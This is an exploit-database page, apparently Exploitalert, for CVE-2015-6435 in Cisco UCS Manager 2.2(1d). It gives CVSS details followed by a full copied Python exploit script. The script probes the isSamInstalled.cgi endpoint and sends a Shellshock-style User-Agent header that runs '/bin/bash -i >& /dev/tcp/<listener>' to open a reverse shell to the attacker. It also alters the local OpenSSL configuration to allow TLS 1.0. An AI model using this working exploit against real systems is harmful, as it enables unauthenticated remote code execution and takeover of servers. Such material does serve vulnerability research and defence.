Cisco UCS Manager 2.2(1d) Remote Command Execution
CVE
Category
Price
Severity
CVE-2015-6435
CWE-94
$5,000
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2021-01-18
CPE
cpe:cpe:/a:cisco:ucs_manager:2.2(1d)
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010137 Below is a copy:
Cisco UCS Manager 2.2(1d) Remote Command Execution import sys, ssl, os, time
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
#
# Exploit Title : Cisco UCS Manager - 2.2(1d) - Remote Command Execution
# Description : An unspecified CGI script in Cisco FX-OS before 1.1.2 on Firepower 9000 devices and Cisco Unified Computing System (UCS) Manager before 2.2(4b), 2.2(5) before 2.2(5a), and 3.0 before 3.0(2e) allows remote attackers to execute arbitrary shell commands via a crafted HTTP request, aka Bug ID CSCur90888.
# Date : 1/15/2021
# Exploit Author : liquidsky (J.McPeters)
# Vulnerable Software : Cisco UCS Manager - 2.2(1d) -> [According to the vendor (cisco), this is known to impact versions prior to 3.0(2e).]
# Vendor Homepage : https://www.cisco.com/c/en/us/products/servers-unified-computing/ucs-manager/index.html
# Version : 2.2(1d), 2.2(3c)A
# Cisco Reference : https://quickview.cloudapps.cisco.com/quickview/bug/CSCur90888
# Tested On : Cisco UCS Manager - 2.2(1d) (Exploit ran with Debian 5.6.7-1kali1 (Kali 2020.1 x64))
# Author Site : https://github.com/fuzzlove/Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution
# Demo : https://youtu.be/bZAcJrwPEb0
# CVE : CVE-2015-6435 | https://nvd.nist.gov/vuln/detail/CVE-2015-6435
# Special Notes : This application by default uses outdated TLS 1.0 for communication, so thats why there is a quickfix/temporary patch to 1.0 in openssl utilizing 'sed' (that gets changes back after exploitation).
#
# Greetz: wetw0rk, Fr13ndz, O.G.Xx25, MS, SS, JK, the S3 family, and last but NOT least droppunx ^_~
#
print "+-------------------------------------------------------------+"
print
print "- Cisco Unified Computing System Manager CGI RCE "
print
print " Cisco UCS Manager - 2.2(1d) - CVE-2015-6435"
print
print "- PoC by: LiquidSky - 1/15/21 | CISCO-BUG-ID: CSCur90888 "
print
print "+-------------------------------------------------------------+"
try:
target= sys.argv[1]
shellip= sys.argv[2]
shellport= sys.argv[3]
except IndexError:
print
print "- Usage: %s <vuln-site> <listener-ip> <listener-port>" % sys.argv[0]
print "- Example: %s https://ciscoucsmgr 192.168.1.123 443" % sys.argv[0]
print
sys.exit()
def ch3x_w00t():
if os.geteuid()==0:
print "[*] Running exploit as root."
else:
print "[!] You are not root, be sure you can change /etc/ssl/openssl.cnf"
print "[x] Most likely going to see an error..."
time.sleep(5)
# Performs backup of openssl.cnf just in case and performs checks of existing vulnerable pages...
def cisco_vuln():
ch3x_w00t()
print "[x] Backing up /etc/ssl/openssl.cnf to /etc/ssl/openssl.bak (just in case)"
os.system("cp /etc/ssl/openssl.cnf /etc/ssl/openssl.bak")
os.system("sed -i 's/MinProtocol = TLSv1.2/MinProtocol = TLSv1.0/' /etc/ssl/openssl.cnf")
print "[*] Checking vulnerable URL "
headers1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
cisco_url = "" + target + "/ucsm/isSamInstalled.cgi"
#Checking page
check = requests.get(cisco_url, headers=headers1, verify=False)
#Grabbing response
res = check.text
if "true" in res:
return True
return False
# Safety check - make sure the user is okay with the TLS1.0 temp fix
# Shout out to Dean ^^ for keeping me polite...
def exploit_question():
print "[x] Warning the service by default uses TLS1.0 so . . ."
print
print "[?] This exploit temporarily patches '/etc/ssl/openssl.cnf' to use TLS1.0 using 'sed' and then changes back to TLS1.2"
print
print "[!] A backup is placed in /etc/ssl/openssl.bak just to be safe..."
print
question = raw_input('[!] Do you wish to continue, "yes" or "no" ?')
if question == 'yes':
print
print "[!] Great attempting exploitation checks: " + target + '!'
cisco_vuln()
else:
print
print "[x] Stay safe m8 ;) - Read the source, its safe . . "
print
sys.exit()
exploit_question()
def cisco_response():
headers1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
cisco_url = "" + target + "/ucsm/isSamInstalled.cgi"
request = requests.get(cisco_url, headers=headers1, verify=False)
if request.status_code == 200:
print "[x] Page seems to exist -- Possibly vulnerable?"
else:
print "[!] Page does not exist - Not vulnerable"
print "[x] Switching back to TLS v1.2 - backup file should be in /etc/ssl/openssl.bak (just in case)"
os.system("sed -i 's/MinProtocol = TLSv1.0/MinProtocol = TLSv1.2/' /etc/ssl/openssl.cnf")
sys.exit()
def cisco_exploit():
cisco_url = "" + target + "/ucsm/isSamInstalled.cgi"
headers = {"User-Agent": "() { ignored;};/bin/bash -i >& /dev/tcp/" + shellip + "/" + shellport + " 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
print "[x] Sending Shell to IP: " + shellip + " Port: " + shellport + ""
print "[?] If this works you will see the exploit hang"
requests.get(cisco_url, headers=headers, verify=False)
print "[!] Shell Sent"
cisco_exploit()
def main():
if cisco_vuln():
print ""
print "[+] Perhaps success?"
print ""
print " ^_~ got shellz? - [ liquidsky | 2021 ]"
print
print "[x] Switching back to TLS v1.2 - backup file should be in /etc/ssl/openssl.bak (just in case)"
os.system("sed -i 's/MinProtocol = TLSv1.0/MinProtocol = TLSv1.2/' /etc/ssl/openssl.cnf")
else:
print "[-] failure!"
print "[x] Switching back to TLS v1.2 - backup file should be in /etc/ssl/openssl.bak (just in case)"
os.system("sed -i 's/MinProtocol = TLSv1.0/MinProtocol = TLSv1.2/' /etc/ssl/openssl.cnf")
if __name__ == "__main__":
main()
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use .